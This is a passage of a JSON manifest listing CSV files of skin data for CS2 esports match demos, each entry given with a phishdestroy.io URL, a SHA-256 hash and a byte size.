          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92918_g2-vs-3dmax-ancient.dem.skins.csv",
          "sha256": "044d1e7a6eae147abc7b78b9806e650d951cbaf9c924fc25acc7d1d8ed746353",
          "bytes": 167232
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92919_mouz-vs-faze-inferno.dem.skins.csv",
          "sha256": "e9941e3e39871bb0afcbb77e4582a323f880d8243425a2ce3f881cd94d7220b4",
          "bytes": 165254
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92921_vitality-vs-mibr-m1-mirage.dem.skins.csv",
          "sha256": "9f5a904acf2eed97a87ece8add69f17564f4e4a417dd76fbf13fb8fcdbb4d55b",
          "bytes": 79841
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92921_vitality-vs-mibr-m2-anubis.dem.skins.csv",
          "sha256": "00ebc2394d7b571895ccc391eabb6f7cf10cf704f87b548866560e734bbd5e91",
          "bytes": 98899
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92922_gamerlegion-vs-wildcard-m1-dust2.dem.skins.csv",
          "sha256": "37c3948897c9ba291726ff80a1d3c5d2f2592d34ec5740ce825f499080f643d3",
          "bytes": 173222
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92922_gamerlegion-vs-wildcard-m2-ancient.dem.skins.csv",
          "sha256": "8560c22026c49167e4d7f81ea235bfffc3d1864d158dfb295567172fa882432f",
          "bytes": 174155
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92922_gamerlegion-vs-wildcard-m3-anubis.dem.skins.csv",
          "sha256": "398769f8f32c733a5d782d0fd37226839eada26fe0b75839fe73b67dccc01e35",
          "bytes": 133421
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92925_big-vs-pain-m1-vertigo.dem.skins.csv",
          "sha256": "b022784d6d54adaa56a4264b8e978d2368d1a5ec3ef945e7eb8eace33bafd4d3",
          "bytes": 110656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92925_big-vs-pain-m2-vertigo.dem.skins.csv",
          "sha256": "47a5c827909187172409aec54d80e6e6f84212604ffebda577b0e42defe8aaf0",
          "bytes": 120821
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92925_big-vs-pain-m3-mirage.dem.skins.csv",
          "sha256": "2b736c74f6fd9816ed4b88f9b5c4a9f42c15eefab4e8c6d28b0fcda4dda79ddd",
          "bytes": 98107
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92926_the-mongolz-vs-heroic-m1-mirage.dem.skins.csv",
          "sha256": "7eed1a3a3ad0c486f61b3a32f21fd9f409c0baff5711730a91aec7af82b15e68",
          "bytes": 195174
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92926_the-mongolz-vs-heroic-m2-anubis.dem.skins.csv",
          "sha256": "a5441a21d0324c51fa4d8e902479634763d1d1aaf07a38b7f03d2a642ff9cb33",
          "bytes": 380913
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92926_the-mongolz-vs-heroic-m3-ancient.dem.skins.csv",
          "sha256": "4aa7cdbc8f792ba1ea9db66b9be2ac3b43cd391b22a1c8030f91567cd8912751",
          "bytes": 190651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m1-inferno.dem.skins.csv",
          "sha256": "92d62d90c794d23eda8433aeb615bed7c5c248ba0eace7c546751950622c6e7c",
          "bytes": 114535
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m2-mirage.dem.skins.csv",
          "sha256": "d657638e954b561068560dc5555aa7f3655430ac243c6eac7b2f79239aac9be3",
          "bytes": 106832
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92948_natus-vincere-vs-gamerlegion-m1-nuke.dem.skins.csv",
          "sha256": "d12088d57a537927b53664ea02800b8968df5296ffbe3942e09a6ba12da8586b",
          "bytes": 134009
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92948_natus-vincere-vs-gamerlegion-m2-mirage.dem.skins.csv",
          "sha256": "0226238d456246578b71d4b90d5f46ed46fe8f4aeffe1b566e8bfe79959a90d3",
          "bytes": 160985
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92949_mouz-vs-3dmax-m1-dust2.dem.skins.csv",
          "sha256": "1271aab94f6f40185b8253fd9143fb8535a24c78c0a2cf7a48b62828e3fcabba",
          "bytes": 204560
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92949_mouz-vs-3dmax-m2-nuke.dem.skins.csv",
          "sha256": "277d49d28e0b52aa82d3443099f54860b62b82067be07a1feee979b8a39e76e9",
          "bytes": 323472
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m1-mirage.dem.skins.csv",
          "sha256": "5f22c4966c85df3b61d386bec779ba1d6abec8360891e9b38b3f3dd461147e9b",
          "bytes": 76506
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m2-nuke.dem.skins.csv",
          "sha256": "fed8e66f19d9c25dbb4339e0a78aad56238bb3d6559b1bf7d26defa36346d6df",
          "bytes": 87040
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m3-anubis.dem.skins.csv",
          "sha256": "f6817b28145b86a84f79f3c2f7f3b661557f4f5fb9f706b3ac773bcc8c678215",
          "bytes": 83091
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m1-vertigo.dem.skins.csv",
          "sha256": "fc98e5938c9580678c52878e80bdb9bbdc749f699fe32ebf7f90ab7a0f2651a8",
          "bytes": 104838
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m2-mirage.dem.skins.csv",
          "sha256": "299191bf8a98dfa49cdc08d9630b70d8d4608070c1e1b7254cf979a7469924a1",
          "bytes": 99520
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m3-inferno.dem.skins.csv",
          "sha256": "d4b5496637f575a7f5bea34c5edcdec4047c64396600dd1924fa2cb6ad54e080",
          "bytes": 129677
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m1-ancient.dem.skins.csv",
          "sha256": "a7c7f0c4193cdfd40f3499bb0d672eb7289eb1b22cbcdd3a293454efdd0f6c7f",
          "bytes": 173291
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m2-mirage.dem.skins.csv",
          "sha256": "e1cfcaea404968838f4eb0cf6c08bb81fd8fb02f4c0e4b5365b61c3879498ab1",
          "bytes": 129990
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m3-dust2.dem.skins.csv",
          "sha256": "89d29062914a3bd677e4887ab2dfb015f55f0b8c6b5e7c1c2767864a0d3746f3",
          "bytes": 132654
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m1-mirage.dem.skins.csv",
          "sha256": "c6ba6adcb029a22a3cc305ae67cfb4cd274c651dd31ba952941edfdf65a80b9d",
          "bytes": 120607
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m2-nuke.dem.skins.csv",
          "sha256": "fe3b7f73dec316bcfd98956d9177711add652ae165c5bb8197f22d4755d02d3b",
          "bytes": 122142
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m1-mirage.dem.skins.csv",
          "sha256": "92592f8871ab41ff0b787c9eaa750c0735268f0f85dcbe7e9ccb14538193b9bb",
          "bytes": 94336
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m2-nuke.dem.skins.csv",
          "sha256": "d9564f91150e3dc081f0182364dcea32203f183235c68c6953b9ad7860408b46",
          "bytes": 88858
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m3-ancient.dem.skins.csv",
          "sha256": "1d22d4a4e659bebf682f5fa58b8cac14d79298ce7d4bba829874721d806dbbc2",
          "bytes": 108572
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m1-inferno.dem.skins.csv",
          "sha256": "3e9c34d8145a526f767f461402fbea0097cf8a157854e38875eebc73c3c3bc7a",
          "bytes": 118280
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m2-dust2.dem.skins.csv",
          "sha256": "ab847063739cf17bc0eecd2a9ba3da5b6ed9622ca7a40d5c638727c059a51dd6",
          "bytes": 126960
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m3-mirage.dem.skins.csv",
          "sha256": "f00db8b8837098d37d366f3515d952e0e8095c35eac065ab5977a3f7b93c1ce3",
          "bytes": 137798
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m1-ancient.dem.skins.csv",
          "sha256": "2da7b07e587f3fbf2962b65fd54b775d9ae782778bd172e8d4573fddcd053e2b",
          "bytes": 325456
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m2-nuke.dem.skins.csv",
          "sha256": "a49b2671054c8a7d57c49cf6293a37a4e4afc0183f1ff0bfc860540806bf778d",
          "bytes": 214766
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m1-anubis.dem.skins.csv",
          "sha256": "4d3739965ac202263bdfa5afa3cd69f980aff9c30ded485683d930df3dc08a78",
          "bytes": 147371
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m2-dust2.dem.skins.csv",
          "sha256": "0c2ff08df715fdc528f8140e66156167fba74d403bdbd0f2d0cbba442565e222",
          "bytes": 115845
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m1-ancient.dem.skins.csv",
          "sha256": "5041116e52c4d78113b0b7e0128bf52f222596387d3906d48f638a8886b2383f",
          "bytes": 119894
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m2-nuke.dem.skins.csv",
          "sha256": "1211e725b9b05515af6bc9faf4e11c47e29f07d52bca9fa79388389e1c68b6b3",
          "bytes": 122716
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m3-mirage.dem.skins.csv",
          "sha256": "6d9741f63be66a8f489911144c5cc8dd085ee38fd3ac0cf849b5ee8935201134",
          "bytes": 176792
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "6080834ca656da4f83c434445c9d2ae1e98402c80f2a3b47df2d53a0dd17e976",
          "bytes": 93262
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m2-mirage.dem.skins.csv",
          "sha256": "015f9712fb70fbb33c3dda957d81a69b5496fbbe7f643d912f0ddfede6aee587",
          "bytes": 116668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m3-anubis.dem.skins.csv",
          "sha256": "c2c14e208815a50d2dfaa27b293b9232f2f9a310ee52fdb58a6825effde880c0",
          "bytes": 110926
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m1-nuke.dem.skins.csv",
          "sha256": "674775db947b24cee1996daa799e2015ce6a4c378de74372ff3ebda7a03db38c",
          "bytes": 200887
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m2-ancient.dem.skins.csv",
          "sha256": "5fa455244d82ee25df83ed0cf66ff7aa7c203f725a94d61f14582a40b8307f05",
          "bytes": 135259
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m3-mirage.dem.skins.csv",
          "sha256": "34822bd24ee823fd85eecc6c456df8a3287e8c1adc91834c4066ca3d8c132184",
          "bytes": 146564
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m1-ancient.dem.skins.csv",
          "sha256": "143aab95cdc760e8335ee2f329aee97d79ef19f6889cd5764ede759cbc56c510",
          "bytes": 140124
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m2-nuke.dem.skins.csv",
          "sha256": "166a5f643a286c78c0c7b4b1903b371d69827f2cd57768f7bde2a8eb27ff6a88",
          "bytes": 209303
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "88a37055fe1ff304069307efd6c6336308c60323cd043ad0a58c3f3543863e17",
          "bytes": 137241
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m2-ancient.dem.skins.csv",
          "sha256": "c4e6a53aa37658e6ec95dca119eb3763c764dcf19e9d5f31518a97dbf5482424",
          "bytes": 111492
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m3-dust2.dem.skins.csv",
          "sha256": "d3d3340c5b67440292bb146c7138c024ccd285da637d787a85dae8331a5daecc",
          "bytes": 141548
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97737_vitality-vs-legacy-inferno.dem.skins.csv",
          "sha256": "02308243658d1671dcadccdf267434287dfd4a754bb63454d2ceb5309592b12e",
          "bytes": 125805
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97739_mouz-vs-virtuspro-mirage.dem.skins.csv",
          "sha256": "4f1024fb91e2a43d07b359ddecebdf902e84b8453ba9c44ec1da8738dbbb38b4",
          "bytes": 239586
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97740_spirit-vs-pain-dust2.dem.skins.csv",
          "sha256": "93be67530713994d930777e03553aee039ea6f780c90843c58554c0c674050fd",
          "bytes": 147791
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97741_g2-vs-3dmax-nuke.dem.skins.csv",
          "sha256": "d1b59a887ade2b42ecc49c6a6550ec7a3cc41443b34b23b70cadb7396327d49f",
          "bytes": 171578
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97743_aurora-vs-faze-anubis.dem.skins.csv",
          "sha256": "0ffadab6c2d52713365eb3b75b67b998801a44f612de9b6d9f6e1deb7eb6cfdc",
          "bytes": 113893
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97745_the-mongolz-vs-furia-inferno.dem.skins.csv",
          "sha256": "0488e1b4890977edcf111770046a1e2f887e9a672588dcdadb9f1b6041720006",
          "bytes": 221175
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97747_natus-vincere-vs-nemiga-train.dem.skins.csv",
          "sha256": "d5076f581b39886d5fcc2e381f63d778818635ba2cf8290387a8499972af0599",
          "bytes": 130572
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97748_liquid-vs-lynn-vision-dust2.dem.skins.csv",
          "sha256": "79981038ae8000bbb45486700492373d3019599a2d05a306388c9104b8bd9763",
          "bytes": 147857
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97750_aurora-vs-furia-dust2.dem.skins.csv",
          "sha256": "3ada68e25299c89170b8757b0025f6f7c391ed0fb306c9e55886d3a7f3f9f54b",
          "bytes": 101757
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97751_virtus-pro-vs-legacy-ancient.dem.skins.csv",
          "sha256": "187b207001bdd94798c0a435af32a697c52d8a628ff8cc87dc02500d3b1f2df5",
          "bytes": 233421
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97752_3dmax-vs-natus-vincere-inferno.dem.skins.csv",
          "sha256": "d9229f77468b945bc3284b1f4ebf95d583ae3842ce57eb1e164d27ab6edfb96b",
          "bytes": 154870
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97753_spirit-vs-lynn-vision-dust2.dem.skins.csv",
          "sha256": "431e4c62d3791dc186dfd661b67327693cb2ba4cd1e86b208b93d52f439f89e5",
          "bytes": 218710
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97754_mouz-vs-faze-ancient.dem.skins.csv",
          "sha256": "e9de55b986c33d9223ecd07267de6d3c5d652145c647baac49f2184af436b61e",
          "bytes": 164380
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97755_vitality-vs-nemiga-dust2.dem.skins.csv",
          "sha256": "50e0e6ea9a7ade6f70aefe7c429050d228c263c8b4fd8e444bd7eccb3fb6656c",
          "bytes": 116933
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97756_the-mongolz-vs-liquid-ancient.dem.skins.csv",
          "sha256": "b04fb7a6b006ef52ab728b08c4399355e01e4d89cf778d7d838517dda95cddef",
          "bytes": 188131
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97757_g2-vs-pain-dust2.dem.skins.csv",
          "sha256": "2f0be483d3de8559a0f01cf355525234ecb3004e6520f8b26d7777a58d2c3e1d",
          "bytes": 250689
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97769_3dmax-vs-vitality-nuke.dem.skins.csv",
          "sha256": "380901f2b34973a916f42bcffc239434019f56ba9f7eb451ab09b5ca8e6ad05e",
          "bytes": 66134
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97770_legacy-vs-faze-anubis.dem.skins.csv",
          "sha256": "061f04ba7f27ba86f8eedfe30d5db7211d49bf955d9f7cf6b087eaedd794fb44",
          "bytes": 174994
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97772_aurora-vs-g2-inferno.dem.skins.csv",
          "sha256": "bd43e1a00409972a5f4e7b607548ac36820948d720660134eac1ad7549104b57",
          "bytes": 165839
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97773_the-mongolz-vs-lynn-vision-nuke.dem.skins.csv",
          "sha256": "16b5efc47d7e748ca18e9878333566f3413e1c35dec58feada97baac34cd68fb",
          "bytes": 217411
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97775_furia-vs-virtus-pro-m1-mirage.dem.skins.csv",
          "sha256": "29c1645d8f432fe0dd29cd4e257bd7f789f71e5d6546a928fb3e65331c8e5499",
          "bytes": 147151
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97775_furia-vs-virtus-pro-m2-train.dem.skins.csv",
          "sha256": "da72d3125c911dc994978c1143b0d42e55df55c6be568de3ad258730cb8617a2",
          "bytes": 134604
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m1-anubis.dem.skins.csv",
          "sha256": "4e6937a5947d57e19140c8a91b2c497743e72d075423036201d0ce493f0e6eb9",
          "bytes": 193760
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m2-train.dem.skins.csv",
          "sha256": "35833a2d8b897c1698c8531d4a74ea03aa4781c47d03b9c4b40929bab8c685ed",
          "bytes": 156143
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m1-ancient.dem.skins.csv",
          "sha256": "621f2b64d0095ed678860978890d753b3aaabdf2707f138ba47e37e8e15e30fe",
          "bytes": 172905
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m2-anubis.dem.skins.csv",
          "sha256": "b6a522ff2233cfac72ef198edb291a0ae63efbd84d5ffe9f48c8cec771bd49b6",
          "bytes": 132922
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m3-dust2.dem.skins.csv",
          "sha256": "407bd2ef7226a0eb4e07f1931fe43b6026d8d9601ed49d8e2e0741d8e9344a71",
          "bytes": 137911
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97791_mouz-vs-liquid-m1-dust2.dem.skins.csv",
          "sha256": "61eb83ae5f3cc48976eeac251fef730b9669bc4178d78adc9761a7cc13ac6af2",
          "bytes": 142814
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97791_mouz-vs-liquid-m2-nuke.dem.skins.csv",
          "sha256": "244e5fdb58069605ccd90cf1de06f228acdbeb6e137e7259d2ce25d1a11415b3",
          "bytes": 97211
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m1-dust2.dem.skins.csv",
          "sha256": "33682bb1718ad1c760a37a30dacc2c029b41de362dc0ecf74a3684ece262b4d4",
          "bytes": 158718
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m2-inferno.dem.skins.csv",
          "sha256": "e6fb73acdd31d3a9553ecb9bf586085dc155a1dd2d9d56928891e05189555b63",
          "bytes": 181840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m3-nuke.dem.skins.csv",
          "sha256": "69c0c9a5c45cd942e4fc6e16e4d521116eec26097316ea01a4a251f08820d103",
          "bytes": 152316
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m1-inferno.dem.skins.csv",
          "sha256": "a81085f7006005c435049fb38bda1a10bab0e6fde3874ec1520150e0cc56c75b",
          "bytes": 136832
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m2-nuke.dem.skins.csv",
          "sha256": "43fe51e2577567f56b93ed58576afdcececf922bc0c2287c3b87a02f5e1a2c5c",
          "bytes": 147788
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m1-ancient.dem.skins.csv",
          "sha256": "2f3be50c4e5453fa044bd801a029b517968d4f1eb5b0a8dfb90f1f5f9caf1828",
          "bytes": 220779
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m2-anubis.dem.skins.csv",
          "sha256": "2e9c4c84bab250dde25fd271b2cf36009dbd61a91ac40c954a4614d4ccaf9ddd",
          "bytes": 161946
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m1-train.dem.skins.csv",
          "sha256": "77b6e3b21ffd0334728ff157f91d9a9be34b6b3d8aa6d9cee063fb15f08a11d3",
          "bytes": 149642
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m2-inferno.dem.skins.csv",
          "sha256": "c5fd11f75daebaa72a5c423763e5f46a2ff3b30fed449caf2894da1b1f1aed46",
          "bytes": 156007
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m3-mirage.dem.skins.csv",
          "sha256": "e44c0862d955c12000bd77332628a946db42262a1a1328585b762c917ea97703",
          "bytes": 108784
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m1-train.dem.skins.csv",
          "sha256": "c4bdd65a5c8c75b43a009f3b82fc895c80e47373182d20049110639babc40abf",
          "bytes": 144312
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m2-dust2.dem.skins.csv",
          "sha256": "0074130e131ca020f1b3fa8d012e98c251dd845695709adc9272bb2d11559a19",
          "bytes": 144312
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m1-mirage.dem.skins.csv",
          "sha256": "cd5e1a0f9315ed1ee84f6188eb84a95fc8a904a4a0c66ecef46f8229bf32cfd5",
          "bytes": 254865
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m2-anubis.dem.skins.csv",
          "sha256": "1f0799657fcbd1116646f7f32cb28c292459600490c332bc5012d213a4a6146b",
          "bytes": 247532
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m3-inferno.dem.skins.csv",
          "sha256": "600ef0fb427493e10daa114504cb5e03a3677f19061e3b335745736070fbde80",
          "bytes": 407044
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m1-ancient.dem.skins.csv",
          "sha256": "05bc2d03841cd5420f4b311a3626c42e03f64b391acde348804b1f77bc947771",
          "bytes": 157205
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m2-inferno.dem.skins.csv",
          "sha256": "d29587ce58744273ee57311c3c984eecdb9835ac9d0a06b5c7c605b61e6b41bd",
          "bytes": 229243
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m3-nuke.dem.skins.csv",
          "sha256": "eb86449074733b4783aa032e0d08102fa2e144b6f3783decbe3d48ea50c5b975",
          "bytes": 181233
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97864_the-mongolz-vs-g2-m1-ancient.dem.skins.csv",
          "sha256": "8bede32783627733020eef2e26f35e82b543aa7fd432883af2c2d76f46e58e2b",
          "bytes": 239240
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97864_the-mongolz-vs-g2-m2-dust2.dem.skins.csv",
          "sha256": "8228ee4d0a6e0f1949a15533f3a94cc0c6cd1c1af40e507ef703ed56d6d06778",
          "bytes": 659423
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97867_virtus-pro-vs-pain-m1-mirage.dem.skins.csv",
          "sha256": "55d97e66c25a67b6352158aa1f97e7b3228ad63f106e5c7ca99f240893277a12",
          "bytes": 199046
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97867_virtus-pro-vs-pain-m2-inferno.dem.skins.csv",
          "sha256": "2cb998c3e15a39e34a4c4ae5be603bcea9ec2cd42f7651911e75442e537e2751",
          "bytes": 167159
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97867_virtus-pro-vs-pain-m3-dust2.dem.skins.csv",
          "sha256": "e430a93ce6fd32b6dc9138bb6c459d5042af8f8d46f2fd7cef728f3f087c994a",
          "bytes": 210097
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m1-mirage.dem.skins.csv",
          "sha256": "d43e4ea6d5953b4013d9f5fecb1bc55cf0d2994feb867090db9134dbe93e147a",
          "bytes": 367361
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m2-dust2.dem.skins.csv",
          "sha256": "2c37d28fae3beae04d68dd464569e20d6d41449f6c759a6bf015ae105b17ffaa",
          "bytes": 163955
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m3-nuke.dem.skins.csv",
          "sha256": "dd831875f44568df0517d07acd60612c41c57ac585ac0c09a2dd4fb5e2999b89",
          "bytes": 167296
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97936_furia-vs-pain-m1-nuke.dem.skins.csv",
          "sha256": "767b829b020b50a55f4b0d084d4b039697cfa45d2170b1e13cb5ca3e3e1ef3bb",
          "bytes": 100382
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97936_furia-vs-pain-m2-anubis.dem.skins.csv",
          "sha256": "949114dcd87b6580adf339cfd91553a35efb6aeca7c43b8db582a25fdd0edece",
          "bytes": 116739
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97936_furia-vs-pain-m3-inferno.dem.skins.csv",
          "sha256": "ad50964c4b27814209e2a6dae74638713530fa4bcb04d488609f1f4a4967fd17",
          "bytes": 153184
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97952_natus-vincere-vs-vitality-m1-mirage.dem.skins.csv",
          "sha256": "d70a2480a656801f1308d5c030bce5a8a04ba0bb50410929caa47139f739ff20",
          "bytes": 122072
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97952_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv",
